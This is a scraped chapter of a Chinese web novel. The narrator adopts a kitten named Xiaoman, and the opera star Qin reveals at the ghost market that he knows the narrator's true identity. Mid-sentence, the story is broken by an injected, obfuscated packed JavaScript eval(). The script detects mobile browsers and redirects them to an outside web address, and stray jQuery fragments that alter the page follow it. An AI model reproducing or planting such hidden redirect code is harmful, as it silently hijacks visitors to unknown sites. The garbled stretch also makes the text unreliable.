默认冷灰
24号文字
方正启体

14. 小满

作者:水青梧本书字数:K更新时间:
    天气渐暖了,我可以不穿棉袄,只在长褂外面再套一件夹袄,早晚还有些凉,我便再戴一顶小圆帽,茶馆的生意也好起来了。


    今年从江南带回来的茶客人们都很喜欢,甚至还有人要出高价买茶叶,爹看着要买茶叶的客人渐渐多起来,恐我们带回的茶叶不够今年的生意,便找人捎了信回江南,让柳莺莺再找人捎些茶叶来。


    清明时,秦老板又带着我去给我自己上了坟,我不知道自己给自己上坟会不会折我的寿命,但我此时还不能把我就是阿常的事情告诉秦老板,有许多事我还没有弄明白。


    京城又开始飞柳絮了,我站在茶馆门口看那些被风吹得团成球又直打旋儿的柳絮,想起顺子教我的“未若柳絮因风起”,前人们总能找到极佳的意向,那冬日里飘雪的样子,可不就像现在被风吹起的柳絮吗?


    算起来还有四个月就是乡试了,最近顺子屋里的烛光也亮得更晚了。


    有一天我去问他,要是今年再落榜了该怎么办,顺子不抬头,只说句:“那便再苦读三年。”


    这天晚上我去兰香苑听戏,在墙根儿底下看见只小猫,看起来似乎就两三个月大,蜷缩在角落不敢动弹。


    我过去把它一把抓起在手上看,它就喵喵地叫起来,眼睛圆圆的,背上是橘色,四条腿儿和爪子肚子都是白的。


    “还是金被银床呢。”我对着它说了句,“你娘呢?”我又问它,它还是喵喵地叫。


    我便说:“你不说,那你就是我的了。”然后便把它揣进了怀里,转头就看见了杜小四,杜小四一见我还是要冲上来抱我。


    我按住他的胸口:“哎哎哎,注意着点儿。”


    此时怀里的小猫又叫了一声儿,从我衣服里探出头来。


    杜小四惊叫一声:“小猫!你从哪来的!”


    我指指墙根儿:“喏,刚才那儿捡的。”


    小四伸手去摸小猫的脑袋,小猫也拿头蹭着他的手,“真好啊,你要养它吗?”杜小四问。


    “嗯,它自己在这估计活不了多久,带回去养着也算救了条命。”我答道。


    “给它取个什么名儿?”小四又问。


    “嗯......还有几天就是立夏了,那就叫小满吧。”


    “哈?你这是什么起名儿法?”


    “小满小满,谷粒渐满,寓意好,你懂什么。”我逗着怀里的小猫,它似乎也喜欢这个名字,冲我喵喵叫着。


    戏罢散场,我带着小满去后台找秦老板,跟他炫耀我捡到的小猫。


    秦老板也很喜欢这只猫,行头都顾不得卸,先把小满捧在手里摸了半天。


    杜小四在我耳边嘟囔:“他这回怎么不嫌水纱勒得头疼了。”


    我歪头跟他说:“你跟小猫能一样吗?还想要和小猫一样的待遇?”


    我把小满带回茶馆,谁见了都对它爱不释手,老高每天早上去买菜时都会再带一条小鱼回来给小满吃,顺子在柜台看书时小满就卧在他面前的账本上,他的另一只手就放在小满身上来回摸着。


    来茶馆的客人见了小满也是觉得新鲜得紧,因为小满总是卧在柜台上,渐渐有客人开始叫它猫掌柜,有些爱猫的客人来时都会先问一句:“猫掌柜在吗?”而小满也会配合着叫一声儿,逗得客人们都哈哈大笑。


    来茶馆的客人越来越多,爹就说小满这是名副其实的招财猫了,便每日给它变着法儿地喂些好吃的,于是一个多月过去小满就变成大满了。


    小满变成了大满,夏天也真的来了。


    我去济世堂抓了酸梅汤的材料,回来自己熬着,熬好了便拿去冰镇在后院儿的井里。


    晌午热得人心烦,我就去端酸梅汤来喝,小满自己找了凉快的地方,不整天只卧在柜台上了,倒常能在后院的树上看见它。


    小满来了以后茶馆里再也没见过耗子,许是茶馆的耗子都被它抓尽了,它就跑去左邻右舍,现在茶馆方圆三四家铺子也都再没见过耗子,那些铺子的掌柜也高兴,于是也动不动就送些吃的来给小满,小满便愈发的圆润了。


    还是和去年一样的夏天,客人们七嘴八舌地聊着些不相干的事儿,街对面女人的孩子不哭了,如今已经在摇摇晃晃地学着走路。


    我靠着柜台,看着前几日新买来的话本子,有人走到我面前,拿手在我眼前晃了晃,我一抬头,对上的是秦老板那对好看的眉眼。


    “看什么呢这么入迷?”他说。


    “嗐,话本子,看着解闷儿的。”


    “你这么无聊,那跟我去个地方?”


    我看了看面前坐满的客人,又看看秦老板说:“这么多客人呢,我不能走。”


    “那你什么时候能走?”他伸手去挠着柜台上小满的下巴问我,小满喉咙里发出舒服的呼噜呼噜的声音。


    “怎么着也得等打烊了吧,不然我爹要骂我的。”我撇撇嘴,做出个无奈的表情。


    秦老板笑了,拍拍我的肩膀说:“那好,那我等你打烊了再来找你?”


    我点点头,秦老板在小满面前放下个小鱼干儿便转身出了店门。


    晚上,秦老板果然在我正要关门时来了,他穿着一身墨色长衫,领口压了一道白牙儿。我问他要带我去哪儿,他说去了便知,于是我跟在他身边,由着他雇的车把我往城东带。


    走着走着他突然说:“今天是槐香的祭日。”


    我一愣,在心里算了算日子,似乎真的是,去年就是差不多这个时候,他来茶馆找到了我,要我帮他打听消息。我又问了他一遍:“那我们现在是要去哪儿?”


    “鬼市。”


    京城的鬼市在齐化门外大街的东北角,鱼龙混杂,待夜幕降临,城中其他各处店铺都打烊关门,鬼市却在这个时候才热闹起来,这都是在茶馆里听那些客人们闲聊时知道的,来京城四年,我倒从来没来过这地方,也不知里面是什么样儿。


    马车在齐化门外停下了,下了车,秦老板又带着我往里走,越往里人越多,不过很多人戴着面具,或以纱覆面,而那些卖东西的贩子竟无一人叫卖,只是站或蹲在自己的摊位前面,待买家要买东西时,才互相用手势讲价,最后以双方一个统一的手势表示货物成交,一手交钱一手交货。


    因此在这鬼市里人虽多,但却并不像外面白天里的市场似的嘈杂,路过的好多小摊卖的东西都稀奇古怪,是在外面压根儿见不到的,还有许多古玩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466730|185481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一类的物件,看得人眼花缭乱。


    秦老板带着我进了一间铺子,店里伙计似是认识秦老板,一见到他就毕恭毕敬地把我们带到了一个隐秘的隔间里。


    隔间里陈设很简单,一张矮榻,榻上是一张小方桌,桌上有一壶酒,两个酒碗,边上点着油灯,墙上有一扇不大的窗。


    带我们进来后那伙计就退出了屋门,秦老板对我打手势示意我坐下,我便坐在矮桌一侧,秦老板随后便坐在了另一侧。


    “秦老板这是要与我说些什么?”我拿起酒壶往自己面前的酒碗里倒酒,问面前人。


    “小尚,你就是阿常,对吧。”秦老板淡淡地说。


    我倒酒的手一顿,突然有一种在光天化日之下被扒光了衣服似的感觉。


    我强装镇定把酒壶放在一旁,抬头笑看着面前人,声音不自觉的有一些颤抖:“秦老板何出此言?阿常不是已经死了十一年了吗?”


    秦老板笑笑,拿起酒壶倒满了自己面前的酒碗,随后一饮而尽,他那对眉眼望着我,似是要看透到我的心里去,我看着他那双眼睛,感觉心跳得飞快,在这样安静的隔间里面,仿佛就剩下了我的心跳声。


    “十一年前的冬至,我亲手把阿常扔出了桐花阁,本想只是给他一个教训,半夜我便准备出去把他找回来,但我在门口看到有人把阿常抱走了,戏子多秋,如果被那人捡走能让他今后平淡地生活,我倒希望是这样的结果。所以我一直知道阿常可能并没有死。”


    秦老板话里的每个字都是平平淡淡的,听不出什么别的情绪。


    我喝着碗里的酒,鼻子酸酸的,我问他:“那为什么我就非得是那个阿常?”


    “第一次在茶馆见你的时候,我便有似曾相识的感觉,你把你肩上的帕子抖来抖去的,这样的小动作骗不了人,从前的阿常在紧张时也会抖手里的东西。”


    “就凭这个?难道是个抖帕子的就是你的阿常?”


    “所以我只是怀疑,但是阿常喜欢吃糖葫芦,喜欢吃甜食,不吃豌豆,而你每一点都对上了,虽然去年你对我说你二十二岁,但我问过你爹,你爹说你今年刚二十一。”


    听到这儿我在心里暗道一声完了,忘记还有这回事儿了,我知道瞒不下去了,便也不再说别的,而是继续听着秦老板说。


    “我知道你是因为恨我才不与我相认,所以我只好卑鄙地试探你,那块玉佩是阿常初来戏班时身上就带着的,那日你走后,我看到你在街上捧着那块玉佩看了许久。


    那日你在怡红院外给被赶出来的柳莺莺盖了衣裳,又给了她钱,我知道你是想到了自己,后来我在你面前讲过阿常的事,我想让你知道我并非刻意要赶你走,这么多年我一直活在愧疚里,直到我看见你,我才敢将心里的愧讲出来。”


    “去岁我带你去看了我给阿常立的坟,在坟前你对我说‘或许他已经不恨我了’,你不知道我听了这句话,心里有多高兴,困住我十一年的囚牢在那一刻土崩瓦解,我不知道要如何才能平复我的心情,我......”


    说到这里秦老板的声音已经哽咽,灯芯烧短了,在我模糊的视线里,油灯的光一闪一闪,映着他的脸上一闪一闪的泪光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)